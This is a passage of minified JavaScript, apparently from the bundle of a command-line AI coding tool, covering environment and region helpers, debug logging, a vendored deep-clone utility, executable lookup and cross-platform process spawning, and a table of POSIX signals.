P1(A){if(!A)return!1;if(typeof A==="boolean")return A;let K=A.toLowerCase().trim();return["1","true","yes","on"].includes(K)}function J2(A){if(A===void 0)return!1;if(typeof A==="boolean")return!A;if(!A)return!1;let K=A.toLowerCase().trim();return["0","false","no","off"].includes(K)}function lr6(A){let K={};if(A)for(let q of A){let[Y,...z]=q.split("=");if(!Y||z.length===0)throw Error(`Invalid environment variable format: ${q}, environment variables should be added as: -e KEY1=value1 -e KEY2=value2`);K[Y]=z.join("=")}return K}function J1A(){return process.env.AWS_REGION||process.env.AWS_DEFAULT_REGION||"us-east-1"}function TR(){return process.env.CLOUD_ML_REGION||"us-east5"}function ER1(){return P1(process.env.CLAUDE_BASH_MAINTAIN_PROJECT_WORKING_DIR)}function ir6(){return!1}function cnA(A){if(A?.startsWith("claude-haiku-4-5"))return process.env.VERTEX_REGION_CLAUDE_HAIKU_4_5||TR();if(A?.startsWith("claude-3-5-haiku"))return process.env.VERTEX_REGION_CLAUDE_3_5_HAIKU||TR();if(A?.startsWith("claude-3-5-sonnet"))return process.env.VERTEX_REGION_CLAUDE_3_5_SONNET||TR();if(A?.startsWith("claude-3-7-sonnet"))return process.env.VERTEX_REGION_CLAUDE_3_7_SONNET||TR();if(A?.startsWith("claude-opus-4-1"))return process.env.VERTEX_REGION_CLAUDE_4_1_OPUS||TR();if(A?.startsWith("claude-opus-4"))return process.env.VERTEX_REGION_CLAUDE_4_0_OPUS||TR();if(A?.startsWith("claude-sonnet-4-5"))return process.env.VERTEX_REGION_CLAUDE_4_5_SONNET||TR();if(A?.startsWith("claude-sonnet-4"))return process.env.VERTEX_REGION_CLAUDE_4_0_SONNET||TR();return TR()}var l6=()=>{};function lnA({writeFn:A,flushIntervalMs:K=1000,maxBufferSize:q=100,immediateMode:Y=!1}){let z=[],w=null;function H(){if(w)clearTimeout(w),w=null}function J(){if(z.length===0)return;A(z.join("")),z=[],H()}function O(){if(!w)w=setTimeout(J,K)}return{write(X){if(Y){A(X);return}if(z.push(X),O(),z.length>=q)J()},flush:J,dispose(){J()}}}function kK(A){return kR1.add(A),()=>kR1.delete(A)}async function nr6(){await Promise.all(Array.from(kR1).map((A)=>A()))}var kR1;var R2=k(()=>{kR1=new Set});import{dirname as CR1,join as rr6}from"path";function trK(A){if(typeof process>"u"||typeof process.versions>"u"||typeof process.versions.node>"u")return!1;let K=srK();return ol6(A,K)}function sr6(A){ar6=A}function erK(){if(!inA)inA=lnA({writeFn:(A)=>{let K=bNA();if(!BA().existsSync(CR1(K)))BA().mkdirSync(CR1(K));BA().appendFileSync(K,A),AoK()},flushIntervalMs:1000,maxBufferSize:100,immediateMode:DzA()}),kK(async()=>inA?.dispose());return inA}function h(A,{level:K}={level:"debug"}){if(!trK(A))return;if(ar6&&A.includes(` `))A=UA(A);let Y=`${new Date().toISOString()} [${K.toUpperCase()}] ${A.trim()} `;if(ph()){Zl(Y);return}erK().write(Y)}function bNA(){return or6()??process.env.CLAUDE_CODE_DEBUG_LOGS_DIR??rr6(w8(),"debug",`${d1()}.txt`)}function fE(A,K){return}var DzA,srK,ph,or6,ar6=!1,inA=null,AoK;var Z1=k(()=>{p7();al6();e6();l6();q6();R2();b1();DzA=z6(()=>{return P1(process.env.DEBUG)||P1(process.env.DEBUG_SDK)||process.argv.includes("--debug")||process.argv.includes("-d")||ph()||process.argv.some((A)=>A.startsWith("--debug="))||or6()!==null}),srK=z6(()=>{let A=process.argv.find((q)=>q.startsWith("--debug="));if(!A)return null;let K=A.substring(8);return rl6(K)}),ph=z6(()=>{return process.argv.includes("--debug-to-stderr")||process.argv.includes("-d2e")}),or6=z6(()=>{for(let A=0;A<process.argv.length;A++){let K=process.argv[A];if(K.startsWith("--debug-file="))return K.substring(13);if(K==="--debug-file"&&A+1<process.argv.length)return process.argv[A+1]}return null});AoK=z6(()=>{if(process.argv[2]==="--ripgrep")return;try{let A=bNA(),K=CR1(A),q=rr6(K,"latest");if(!BA().existsSync(K))BA().mkdirSync(K);if(BA().existsSync(q))try{BA().unlinkSync(q)}catch{}BA().symlinkSync(A,q)}catch{}})});function KoK(A,K){var q=-1,Y=A==null?0:A.length;while(++q<Y)if(K(A[q],q,A)===!1)break;return A}var tr6;var er6=k(()=>{tr6=KoK});var qoK,jzA;var LR1=k(()=>{Ol();qoK=function(){try{var A=lP(Object,"defineProperty");return A({},"",{}),A}catch(K){}}(),jzA=qoK});function YoK(A,K,q){if(K=="__proto__"&&jzA)jzA(A,K,{configurable:!0,enumerable:!0,value:q,writable:!0});else A[K]=q}var fl;var xNA=k(()=>{LR1();fl=YoK});function HoK(A,K,q){var Y=A[K];if(!(woK.call(A,K)&&Sh(Y,q))||q===void 0&&!(K in A))fl(A,K,q)}var zoK,woK,Nl;var uNA=k(()=>{xNA();b2A();zoK=Object.prototype,woK=zoK.hasOwnProperty;Nl=HoK});function JoK(A,K,q,Y){var z=!q;q||(q={});var w=-1,H=K.length;while(++w<H){var J=K[w],O=Y?Y(q[J],A[J],J,q,A):void 0;if(O===void 0)O=A[J];if(z)fl(q,J,O);else Nl(q,J,O)}return q}var NE;var O1A=k(()=>{uNA();xNA();NE=JoK});function OoK(A,K){return A&&NE(K,DE(K),A)}var Ao6;var Ko6=k(()=>{O1A();K1A();Ao6=OoK});function XoK(A){var K=[];if(A!=null)for(var q in Object(A))K.push(q);return K}var qo6;var Yo6=k(()=>{qo6=XoK});function GoK(A){if(!aJ(A))return qo6(A);var K=c2A(A),q=[];for(var Y in A)if(!(Y=="constructor"&&(K||!_oK.call(A,Y))))q.push(Y);return q}var $oK,_oK,zo6;var wo6=k(()=>{WE();HnA();Yo6();$oK=Object.prototype,_oK=$oK.hasOwnProperty;zo6=GoK});function ZoK(A){return Bh(A)?wnA(A,!0):zo6(A)}var dh;var MzA=k(()=>{sL1();wo6();l2A();dh=ZoK});function WoK(A,K){return A&&NE(K,dh(K),A)}var Ho6;var Jo6=k(()=>{O1A();MzA();Ho6=WoK});var rnA={};_q(rnA,{default:()=>BNA});function joK(A,K){if(K)return A.slice();var q=A.length,Y=$o6?$o6(q):new A.constructor(q);return A.copy(Y),Y}var _o6,Oo6,DoK,Xo6,$o6,BNA;var RR1=k(()=>{NR();_o6=typeof rnA=="object"&&rnA&&!rnA.nodeType&&rnA,Oo6=_o6&&typeof nnA=="object"&&nnA&&!nnA.nodeType&&nnA,DoK=Oo6&&Oo6.exports===_o6,Xo6=DoK?uX.Buffer:void 0,$o6=Xo6?Xo6.allocUnsafe:void 0;BNA=joK});function MoK(A,K){var q=-1,Y=A.length;K||(K=Array(Y));while(++q<Y)K[q]=A[q];return K}var onA;var yR1=k(()=>{onA=MoK});function PoK(A,K){return NE(A,Q2A(A),K)}var Go6;var Zo6=k(()=>{O1A();aiA();Go6=PoK});var VoK,PzA;var anA=k(()=>{tL1();VoK=JnA(Object.getPrototypeOf,Object),PzA=VoK});var foK,NoK,snA;var IR1=k(()=>{iiA();anA();aiA();rL1();foK=Object.getOwnPropertySymbols,NoK=!foK?oiA:function(A){var K=[];while(A)F2A(K,Q2A(A)),A=PzA(A);return K},snA=NoK});function ToK(A,K){return NE(A,snA(A),K)}var Wo6;var Do6=k(()=>{O1A();IR1();Wo6=ToK});function voK(A){return niA(A,dh,snA)}var tnA;var SR1=k(()=>{iL1();IR1();MzA();tnA=voK});function CoK(A){var K=A.length,q=new A.constructor(K);if(K&&typeof A[0]=="string"&&koK.call(A,"index"))q.index=A.index,q.input=A.input;return q}var EoK,koK,jo6;var Mo6=k(()=>{EoK=Object.prototype,koK=EoK.hasOwnProperty;jo6=CoK});function LoK(A){var K=new A.constructor(A.byteLength);return new m2A(K).set(new m2A(A)),K}var VzA;var enA=k(()=>{cL1();VzA=LoK});function RoK(A,K){var q=K?VzA(A.buffer):A.buffer;return new A.constructor(q,A.byteOffset,A.byteLength)}var Po6;var Vo6=k(()=>{enA();Po6=RoK});function IoK(A){var K=new A.constructor(A.source,yoK.exec(A));return K.lastIndex=A.lastIndex,K}var yoK,fo6;var No6=k(()=>{yoK=/\w*$/;fo6=IoK});function SoK(A){return vo6?Object(vo6.call(A)):{}}var To6,vo6,Eo6;var ko6=k(()=>{tAA();To6=Q_?Q_.prototype:void 0,vo6=To6?To6.valueOf:void 0;Eo6=SoK});function hoK(A,K){var q=K?VzA(A.buffer):A.buffer;return new A.constructor(q,A.byteOffset,A.length)}var ArA;var hR1=k(()=>{enA();ArA=hoK});function toK(A,K,q){var Y=A.constructor;switch(K){case UoK:return VzA(A);case boK:case xoK:return new Y(+A);case poK:return Po6(A,q);case doK:case coK:case loK:case ioK:case noK:case roK:case ooK:case aoK:case soK:return ArA(A,q);case uoK:return new Y;case BoK:case FoK:return new Y(A);case moK:return fo6(A);case goK:return new Y;case QoK:return Eo6(A)}}var boK="[object Boolean]",xoK="[object Date]",uoK="[object Map]",BoK="[object Number]",moK="[object RegExp]",goK="[object Set]",FoK="[object String]",QoK="[object Symbol]",UoK="[object ArrayBuffer]",poK="[object DataView]",doK="[object Float32Array]",coK="[object Float64Array]",loK="[object Int8Array]",ioK="[object Int16Array]",noK="[object Int32Array]",roK="[object Uint8Array]",ooK="[object Uint8ClampedArray]",aoK="[object Uint16Array]",soK="[object Uint32Array]",Co6;var Lo6=k(()=>{enA();Vo6();No6();ko6();hR1();Co6=toK});var Ro6,eoK,yo6;var Io6=k(()=>{WE();Ro6=Object.create,eoK=function(){function A(){}return function(K){if(!aJ(K))return{};if(Ro6)return Ro6(K);A.prototype=K;var q=new A;return A.prototype=void 0,q}}(),yo6=eoK});function AaK(A){return typeof A.constructor=="function"&&!c2A(A)?yo6(PzA(A)):{}}var KrA;var bR1=k(()=>{Io6();anA();HnA();KrA=AaK});function qaK(A){return r$(A)&&hg(A)==KaK}var KaK="[object Map]",So6;var ho6=k(()=>{ENA();bh();So6=qaK});var bo6,YaK,xo6;var uo6=k(()=>{ho6();AnA();YnA();bo6=uh&&uh.isMap,YaK=bo6?p2A(bo6):So6,xo6=YaK});function waK(A){return r$(A)&&hg(A)==zaK}var zaK="[object Set]",Bo6;var mo6=k(()=>{ENA();bh();Bo6=waK});var go6,HaK,Fo6;var Qo6=k(()=>{mo6();AnA();YnA();go6=uh&&uh.isSet,HaK=go6?p2A(go6):Bo6,Fo6=HaK});function qrA(A,K,q,Y,z,w){var H,J=K&JaK,O=K&OaK,X=K&XaK;if(q)H=z?q(A,Y,z,w):q(A);if(H!==void 0)return H;if(!aJ(A))return A;var $=L2(A);if($){if(H=jo6(A),!J)return onA(A,H)}else{var _=hg(A),G=_==po6||_==WaK;if(xh(A))return BNA(A,J);if(_==do6||_==Uo6||G&&!z){if(H=O||G?{}:KrA(A),!J)return O?Wo6(A,Ho6(H,A)):Go6(A,Ao6(H,A))}else{if(!lw[_])return z?A:{};H=Co6(A,_,J)}}w||(w=new hh);var Z=w.get(A);if(Z)return Z;if(w.set(A,H),Fo6(A))A.forEach(function(j){H.add(qrA(j,K,q,j,A,w))});else if(xo6(A))A.forEach(function(j,M){H.set(M,qrA(j,K,q,M,A,w))});var W=X?O?tnA:vNA:O?dh:DE,D=$?void 0:W(A);return tr6(D||A,function(j,M){if(D)M=j,j=A[M];Nl(H,M,qrA(j,K,q,M,A,w))}),H}var JaK=1,OaK=2,XaK=4,Uo6="[object Arguments]",$aK="[object Array]",_aK="[object Boolean]",GaK="[object Date]",ZaK="[object Error]",po6="[object Function]",WaK="[object GeneratorFunction]",DaK="[object Map]",jaK="[object Number]",do6="[object Object]",MaK="[object RegExp]",PaK="[object Set]",VaK="[object String]",faK="[object Symbol]",NaK="[object WeakMap]",TaK="[object ArrayBuffer]",vaK="[object DataView]",EaK="[object Float32Array]",kaK="[object Float64Array]",CaK="[object Int8Array]",LaK="[object Int16Array]",RaK="[object Int32Array]",yaK="[object Uint8Array]",IaK="[object Uint8ClampedArray]",SaK="[object Uint16Array]",haK="[object Uint32Array]",lw,YrA;var xR1=k(()=>{PNA();er6();uNA();Ko6();Jo6();RR1();yR1();Zo6();Do6();eL1();SR1();ENA();Mo6();Lo6();bR1();pj();fNA();uo6();WE();Qo6();K1A();MzA();lw={};lw[Uo6]=lw[$aK]=lw[TaK]=lw[vaK]=lw[_aK]=lw[GaK]=lw[EaK]=lw[kaK]=lw[CaK]=lw[LaK]=lw[RaK]=lw[DaK]=lw[jaK]=lw[do6]=lw[MaK]=lw[PaK]=lw[VaK]=lw[faK]=lw[yaK]=lw[IaK]=lw[SaK]=lw[haK]=!0;lw[ZaK]=lw[po6]=lw[NaK]=!1;YrA=qrA});function uaK(A){return YrA(A,baK|xaK)}var baK=1,xaK=4,co6;var lo6=k(()=>{xR1();co6=uaK});import{writeFileSync as io6,openSync as BaK,fsyncSync as maK,closeSync as gaK}from"fs";function uR1(A){if(A===null)return"null";if(A===void 0)return"undefined";if(Array.isArray(A))return`Array[${A.length}]`;if(typeof A==="object")return`Object{${Object.keys(A).length} keys}`;if(typeof A==="string")return`string(${A.length} chars)`;return typeof A}function zrA(A,K){let q=performance.now();try{return K()}finally{performance.now()-q>ug}}function UA(A,K,q){let Y=uR1(A);return zrA(`JSON.stringify(${Y})`,()=>JSON.stringify(A,K,q))}function no6(A,K){let q=uR1(A);return zrA(`structuredClone(${q})`,()=>structuredClone(A,K))}function X1A(A){let K=uR1(A);return zrA(`cloneDeep(${K})`,()=>co6(A))}function x8(A,K,q){let Y=performance.now();try{if(q!==null&&typeof q==="object"&&"flush"in q&&q.flush===!0){let w=typeof q==="object"&&"encoding"in q?q.encoding:void 0,H=typeof q==="object"&&"mode"in q?q.mode:void 0,J;try{J=BaK(A,"w",H),io6(J,K,{encoding:w??void 0}),maK(J)}finally{if(J!==void 0)gaK(J)}}else io6(A,K,q)}finally{performance.now()-Y>ug}}var ug=1/0,G6=(A,K)=>{let q=typeof A==="string"?A.length:0;return zrA(`JSON.parse(${q} chars)`,()=>JSON.parse(A,K))};var b1=k(()=>{Z1();q6();lo6()});var to6=v((M0z,so6)=>{so6.exports=ao6;ao6.sync=QaK;var ro6=CA("fs");function FaK(A,K){var q=K.pathExt!==void 0?K.pathExt:process.env.PATHEXT;if(!q)return!0;if(q=q.split(";"),q.indexOf("")!==-1)return!0;for(var Y=0;Y<q.length;Y++){var z=q[Y].toLowerCase();if(z&&A.substr(-z.length).toLowerCase()===z)return!0}return!1}function oo6(A,K,q){if(!A.isSymbolicLink()&&!A.isFile())return!1;return FaK(K,q)}function ao6(A,K,q){ro6.stat(A,function(Y,z){q(Y,Y?!1:oo6(z,A,K))})}function QaK(A,K){return oo6(ro6.statSync(A),A,K)}});var Ya6=v((P0z,qa6)=>{qa6.exports=Aa6;Aa6.sync=UaK;var eo6=CA("fs");function Aa6(A,K,q){eo6.stat(A,function(Y,z){q(Y,Y?!1:Ka6(z,K))})}function UaK(A,K){return Ka6(eo6.statSync(A),K)}function Ka6(A,K){return A.isFile()&&paK(A,K)}function paK(A,K){var{mode:q,uid:Y,gid:z}=A,w=K.uid!==void 0?K.uid:process.getuid&&process.getuid(),H=K.gid!==void 0?K.gid:process.getgid&&process.getgid(),J=parseInt("100",8),O=parseInt("010",8),X=parseInt("001",8),$=J|O,_=q&X||q&O&&z===H||q&J&&Y===w||q&$&&w===0;return _}});var wa6=v((f0z,za6)=>{var V0z=CA("fs"),wrA;if(process.platform==="win32"||global.TESTING_WINDOWS)wrA=to6();else wrA=Ya6();za6.exports=BR1;BR1.sync=daK;function BR1(A,K,q){if(typeof K==="function")q=K,K={};if(!q){if(typeof Promise!=="function")throw TypeError("callback not provided");return new Promise(function(Y,z){BR1(A,K||{},function(w,H){if(w)z(w);else Y(H)})})}wrA(A,K||{},function(Y,z){if(Y){if(Y.code==="EACCES"||K&&K.ignoreErrors)Y=null,z=!1}q(Y,z)})}function daK(A,K){try{return wrA.sync(A,K||{})}catch(q){if(K&&K.ignoreErrors||q.code==="EACCES")return!1;else throw q}}});var Ga6=v((N0z,_a6)=>{var fzA=process.platform==="win32"||process.env.OSTYPE==="cygwin"||process.env.OSTYPE==="msys",Ha6=CA("path"),caK=fzA?";":":",Ja6=wa6(),Oa6=(A)=>Object.assign(Error(`not found: ${A}`),{code:"ENOENT"}),Xa6=(A,K)=>{let q=K.colon||caK,Y=A.match(/\//)||fzA&&A.match(/\\/)?[""]:[...fzA?[process.cwd()]:[],...(K.path||process.env.PATH||"").split(q)],z=fzA?K.pathExt||process.env.PATHEXT||".EXE;.CMD;.BAT;.COM":"",w=fzA?z.split(q):[""];if(fzA){if(A.indexOf(".")!==-1&&w[0]!=="")w.unshift("")}return{pathEnv:Y,pathExt:w,pathExtExe:z}},$a6=(A,K,q)=>{if(typeof K==="function")q=K,K={};if(!K)K={};let{pathEnv:Y,pathExt:z,pathExtExe:w}=Xa6(A,K),H=[],J=(X)=>new Promise(($,_)=>{if(X===Y.length)return K.all&&H.length?$(H):_(Oa6(A));let G=Y[X],Z=/^".*"$/.test(G)?G.slice(1,-1):G,W=Ha6.join(Z,A),D=!Z&&/^\.[\\\/]/.test(A)?A.slice(0,2)+W:W;$(O(D,X,0))}),O=(X,$,_)=>new Promise((G,Z)=>{if(_===z.length)return G(J($+1));let W=z[_];Ja6(X+W,{pathExt:w},(D,j)=>{if(!D&&j)if(K.all)H.push(X+W);else return G(X+W);return G(O(X,$,_+1))})});return q?J(0).then((X)=>q(null,X),q):J(0)},laK=(A,K)=>{K=K||{};let{pathEnv:q,pathExt:Y,pathExtExe:z}=Xa6(A,K),w=[];for(let H=0;H<q.length;H++){let J=q[H],O=/^".*"$/.test(J)?J.slice(1,-1):J,X=Ha6.join(O,A),$=!O&&/^\.[\\\/]/.test(A)?A.slice(0,2)+X:X;for(let _=0;_<Y.length;_++){let G=$+Y[_];try{if(Ja6.sync(G,{pathExt:z}))if(K.all)w.push(G);else return G}catch(Z){}}}if(K.all&&w.length)return w;if(K.nothrow)return null;throw Oa6(A)};_a6.exports=$a6;$a6.sync=laK});var Wa6=v((T0z,mR1)=>{var Za6=(A={})=>{let K=A.env||process.env;if((A.platform||process.platform)!=="win32")return"PATH";return Object.keys(K).reverse().find((Y)=>Y.toUpperCase()==="PATH")||"Path"};mR1.exports=Za6;mR1.exports.default=Za6});var Pa6=v((v0z,Ma6)=>{var Da6=CA("path"),iaK=Ga6(),naK=Wa6();function ja6(A,K){let q=A.options.env||process.env,Y=process.cwd(),z=A.options.cwd!=null,w=z&&process.chdir!==void 0&&!process.chdir.disabled;if(w)try{process.chdir(A.options.cwd)}catch(J){}let H;try{H=iaK.sync(A.command,{path:q[naK({env:q})],pathExt:K?Da6.delimiter:void 0})}catch(J){}finally{if(w)process.chdir(Y)}if(H)H=Da6.resolve(z?A.options.cwd:"",H);return H}function raK(A){return ja6(A)||ja6(A,!0)}Ma6.exports=raK});var Va6=v((saK,FR1)=>{var gR1=/([()\][%!^"`<>&|;, *?])/g;function oaK(A){return A=A.replace(gR1,"^$1"),A}function aaK(A,K){if(A=`${A}`,A=A.replace(/(?=(\\+?)?)\1"/g,"$1$1\\\""),A=A.replace(/(?=(\\+?)?)\1$/,"$1$1"),A=`"${A}"`,A=A.replace(gR1,"^$1"),K)A=A.replace(gR1,"^$1");return A}saK.command=oaK;saK.argument=aaK});var Na6=v((E0z,fa6)=>{fa6.exports=/^#!(.*)/});var va6=v((k0z,Ta6)=>{var AsK=Na6();Ta6.exports=(A="")=>{let K=A.match(AsK);if(!K)return null;let[q,Y]=K[0].replace(/#! ?/,"").split(" "),z=q.split("/").pop();if(z==="env")return Y;return Y?`${z} ${Y}`:z}});var ka6=v((C0z,Ea6)=>{var QR1=CA("fs"),KsK=va6();function qsK(A){let q=Buffer.alloc(150),Y;try{Y=QR1.openSync(A,"r"),QR1.readSync(Y,q,0,150,0),QR1.closeSync(Y)}catch(z){}return KsK(q.toString())}Ea6.exports=qsK});var ya6=v((L0z,Ra6)=>{var YsK=CA("path"),Ca6=Pa6(),La6=Va6(),zsK=ka6(),wsK=process.platform==="win32",HsK=/\.(?:com|exe)$/i,JsK=/node_modules[\\/].bin[\\/][^\\/]+\.cmd$/i;function OsK(A){A.file=Ca6(A);let K=A.file&&zsK(A.file);if(K)return A.args.unshift(A.file),A.command=K,Ca6(A);return A.file}function XsK(A){if(!wsK)return A;let K=OsK(A),q=!HsK.test(K);if(A.options.forceShell||q){let Y=JsK.test(K);A.command=YsK.normalize(A.command),A.command=La6.command(A.command),A.args=A.args.map((w)=>La6.argument(w,Y));let z=[A.command].concat(A.args).join(" ");A.args=["/d","/s","/c",`"${z}"`],A.command=process.env.comspec||"cmd.exe",A.options.windowsVerbatimArguments=!0}return A}function $sK(A,K,q){if(K&&!Array.isArray(K))q=K,K=null;K=K?K.slice(0):[],q=Object.assign({},q);let Y={command:A,args:K,options:q,file:void 0,original:{command:A,args:K}};return q.shell?Y:XsK(Y)}Ra6.exports=$sK});var ha6=v((R0z,Sa6)=>{var UR1=process.platform==="win32";function pR1(A,K){return Object.assign(Error(`${K} ${A.command} ENOENT`),{code:"ENOENT",errno:"ENOENT",syscall:`${K} ${A.command}`,path:A.command,spawnargs:A.args})}function _sK(A,K){if(!UR1)return;let q=A.emit;A.emit=function(Y,z){if(Y==="exit"){let w=Ia6(z,K);if(w)return q.call(A,"error",w)}return q.apply(A,arguments)}}function Ia6(A,K){if(UR1&&A===1&&!K.file)return pR1(K.original,"spawn");return null}function GsK(A,K){if(UR1&&A===1&&!K.file)return pR1(K.original,"spawnSync");return null}Sa6.exports={hookChildProcess:_sK,verifyENOENT:Ia6,verifyENOENTSync:GsK,notFoundError:pR1}});var lR1=v((y0z,NzA)=>{var ba6=CA("child_process"),dR1=ya6(),cR1=ha6();function xa6(A,K,q){let Y=dR1(A,K,q),z=ba6.spawn(Y.command,Y.args,Y.options);return cR1.hookChildProcess(z,Y),z}function ZsK(A,K,q){let Y=dR1(A,K,q),z=ba6.spawnSync(Y.command,Y.args,Y.options);return z.error=z.error||cR1.verifyENOENTSync(z.status,Y),z}NzA.exports=xa6;NzA.exports.spawn=xa6;NzA.exports.sync=ZsK;NzA.exports._parse=dR1;NzA.exports._enoent=cR1});function iR1(A){let K=typeof A==="string"?` `:` `.charCodeAt(),q=typeof A==="string"?"\r":"\r".charCodeAt();if(A[A.length-1]===K)A=A.slice(0,-1);if(A[A.length-1]===q)A=A.slice(0,-1);return A}function HrA(A={}){let{env:K=process.env,platform:q=process.platform}=A;if(q!=="win32")return"PATH";return Object.keys(K).reverse().find((Y)=>Y.toUpperCase()==="PATH")||"Path"}import JrA from"node:process";import mNA from"node:path";import{fileURLToPath as ua6}from"node:url";var WsK=({cwd:A=JrA.cwd(),path:K=JrA.env[HrA()],preferLocal:q=!0,execPath:Y=JrA.execPath,addExecPath:z=!0}={})=>{let w=A instanceof URL?ua6(A):A,H=mNA.resolve(w),J=[];if(q)DsK(J,H);if(z)jsK(J,Y,H);return[...J,K].join(mNA.delimiter)},DsK=(A,K)=>{let q;while(q!==K)A.push(mNA.join(K,"node_modules/.bin")),q=K,K=mNA.resolve(K,"..")},jsK=(A,K,q)=>{let Y=K instanceof URL?ua6(K):K;A.push(mNA.resolve(q,Y,".."))},Ba6=({env:A=JrA.env,...K}={})=>{A={...A};let q=HrA({env:A});return K.path=A[q],A[q]=WsK(K),A};var ma6=()=>{};function nR1(A,K,{ignoreNonConfigurable:q=!1}={}){let{name:Y}=A;for(let z of Reflect.ownKeys(K))MsK(A,K,z,q);return VsK(A,K),vsK(A,K,Y),A}var MsK=(A,K,q,Y)=>{if(q==="length"||q==="prototype")return;if(q==="arguments"||q==="caller")return;let z=Object.getOwnPropertyDescriptor(A,q),w=Object.getOwnPropertyDescriptor(K,q);if(!PsK(z,w)&&Y)return;Object.defineProperty(A,q,w)},PsK=function(A,K){return A===void 0||A.configurable||A.writable===K.writable&&A.enumerable===K.enumerable&&A.configurable===K.configurable&&(A.writable||A.value===K.value)},VsK=(A,K)=>{let q=Object.getPrototypeOf(K);if(q===Object.getPrototypeOf(A))return;Object.setPrototypeOf(A,q)},fsK=(A,K)=>`/* Wrapped ${A}*/ ${K}`,NsK,TsK,vsK=(A,K,q)=>{let Y=q===""?"":`with ${q.trim()}() `,z=fsK.bind(null,Y,K.toString());Object.defineProperty(z,"name",TsK),Object.defineProperty(A,"toString",{...NsK,value:z})};var ga6=k(()=>{NsK=Object.getOwnPropertyDescriptor(Function.prototype,"toString"),TsK=Object.getOwnPropertyDescriptor(Function.prototype.toString,"name")});var OrA,Fa6=(A,K={})=>{if(typeof A!=="function")throw TypeError("Expected a function");let q,Y=0,z=A.displayName||A.name||"<anonymous>",w=function(...H){if(OrA.set(w,++Y),Y===1)q=A.apply(this,H),A=null;else if(K.throw===!0)throw Error(`Function \`${z}\` can only be called once`);return q};return nR1(w,A),OrA.set(w,Y),w},Qa6;var Ua6=k(()=>{ga6();OrA=new WeakMap;Fa6.callCount=(A)=>{if(!OrA.has(A))throw Error(`The given function \`${A.name}\` is not wrapped by the \`onetime\` package`);return OrA.get(A)};Qa6=Fa6});var pa6=()=>{let A=rR1-da6+1;return Array.from({length:A},EsK)},EsK=(A,K)=>({name:`SIGRT${K+1}`,number:da6+K,action:"terminate",description:"Application-specific signal (realtime)",standard:"posix"}),da6=34,rR1=64;var ca6;var la6=k(()=>{ca6=[{name:"SIGHUP",number:1,action:"terminate",description:"Terminal closed",standard:"posix"},{name:"SIGINT",number:2,action:"terminate",description:"User interruption with CTRL-C",standard:"ansi"},{name:"SIGQUIT",number:3,action:"core",description:"User interruption with CTRL-\\",standard:"posix"},{name:"SIGILL",number:4,action:"core",description:"Invalid machine instruction",standard:"ansi"},{name:"SIGTRAP",number:5,action:"core",description:"Debugger breakpoint",standard:"posix"},{name:"SIGABRT",number:6,action:"core",description:"Aborted",standard:"ansi"},{name:"SIGIOT",number:6,action:"core",description:"Aborted",standard:"bsd"},{name:"SIGBUS",number:7,action:"core",description:"Bus error due to misaligned, non-existing address or paging error",standard:"bsd"},{name:"SIGEMT",number:7,action:"terminate",description:"Command should be emulated but is not implemented",standard:"other"},{name:"SIGFPE",number:8,action:"core",description:"Floating point arithmetic error",standard:"ansi"},{name:"SIGKILL",number:9,action:"terminate",description:"Forced termination",standard:"posix",forced:!0},{name:"SIGUSR1",number:10,action:"terminate",description:"Application-specific signal",standard:"posix"},{name:"SIGSEGV",number:11,action:"core",description:"Segmentation fault",standard:"ansi"},{name:"SIGUSR2",number:12,action:"terminate",description:"Application-specific signal",standard:"posix"},{name:"SIGPIPE",number:13,action:"terminate",description:"Broken pipe or socket",standard:"posix"},{name:"SIGALRM",number:14,action:"terminate",description:"Timeout or timer",standard:"posix"},{name:"SIGTERM",number:15,action:"terminate",description:"Termination",standard:"ansi"},{name:"SIGSTKFLT",number:16,action:"terminate",description:"Stack is empty or overflowed",standard:"other"},{name:"SIGCHLD",number:17,action:"ignore",description:"Child process terminated, paused or unpaused",standard:"posix"},{name:"SIGCLD",number:17,action:"ignore",description:"Child process terminated, paused or unpaused",standard:"other"},{name:"SIGCONT",number:18,action:"unpause",description:"Unpaused",standard:"posix",forced:!0},{name:"SIGSTOP",number:19,action:"pause",description:"Paused",standard:"posix",forced:!0},{name:"SIGTSTP",number:20,action:"pause",description:'Paused using CTRL-Z or "suspend"',standard:"posix"},{name:"SIGTTIN",number:21,action:"pause",description:"Background process cannot read terminal input",standard:"posix"},{name:"SIGBREAK",number:21,action:"terminate",description:"User interruption with CTRL-BREAK",standard:"other"},{name:"SIGTTOU",number:22,action:"pause",description:"Background process cannot write to terminal output",standard:"posix"},{name:"SIGURG",number:23,action:"ignore",description:"Socket received out-of-band data",standard:"bsd"},{name:"SIGXCPU",number:24,action:"core",description:"Process timed out",standard:"bsd"},{name:"SIGXFSZ",number:25,action:"core",description:"File too big",standard:"bsd"},{name:"SIGVTALRM",number:26,action:"terminate",description:"Timeout or timer",standard:"bsd"},{name:"SIGPROF",number:27,action:"terminate",description:"Timeout or timer",standard:"bsd"},{name:"SIGWINCH",number:28,action:"ignore",description:"Terminal window size changed",standard:"bsd"},{name:"SIGIO",number:29,action:"terminate",description:"I/O is available",standard:"other"},{name:"SIGPOLL",number:29,action:"terminate",description:"Watched event",standard:"other"},{name:"SIGINFO",number:29,action:"ignore",description:"Request for process information",standard:"other"},{name:"SIGPWR",number:30,action:"terminate",description:"Device running out of power",standard:"systemv"},{name:"SIGSYS",number:31,action:"core",description:"Invalid system call",standard:"other"},{name:"SIGUNUSED",number:31,action:"terminate",description:"Invalid system call",standard:"other"}]});import{constants as ksK}from"node:os";var oR1=()=>{let A=pa6();return[...ca6,...A].map(CsK)},CsK=({name:A,number:K,description:q,action:Y,forced:z=!1,standard:w})=>{let{signals:{[A]:H}}=ksK,J=H!==void 0;return{name:A,number:J?H:K,description:q,supported:J,action:Y,forced:z,standard:w}};var ia6=k(()=>{la6()});import{constants as LsK}from"node:os";var RsK=()=>{let A=oR1();return Object.fromEntries(A.map(ysK))},ysK=({name:A,number:K,description:q,supported:Y,action:z,forced:w,standard:H})=>[A,{name:A,number:K,description:q,supported:Y,action:z,forced:w,standard:H}],na6,IsK=()=>{let A=oR1(),K=rR1+1,q=Array.from({length:K},(Y,z)=>SsK(z,A));return Object.assign({},...q)},SsK=(A,K)=>{let q=hsK(A,K);if(q===void 0)return{};let{name:Y,description:z,supported:w,action:H,forced:J,standard:O}=q;return{[A]:{name:Y,number:A,description:z,supported:w,action:H,forced:J,standard:O}}},hsK=(A,K)=>{let q=K.find(({name:Y})=>LsK.signals[Y]===A);if(q!==void 0)return q;return K.find((Y)=>Y.number===A)},o0z;var ra6=k(()=>{ia6();na6=RsK(),o0z=IsK()});import bsK from"node:process";var 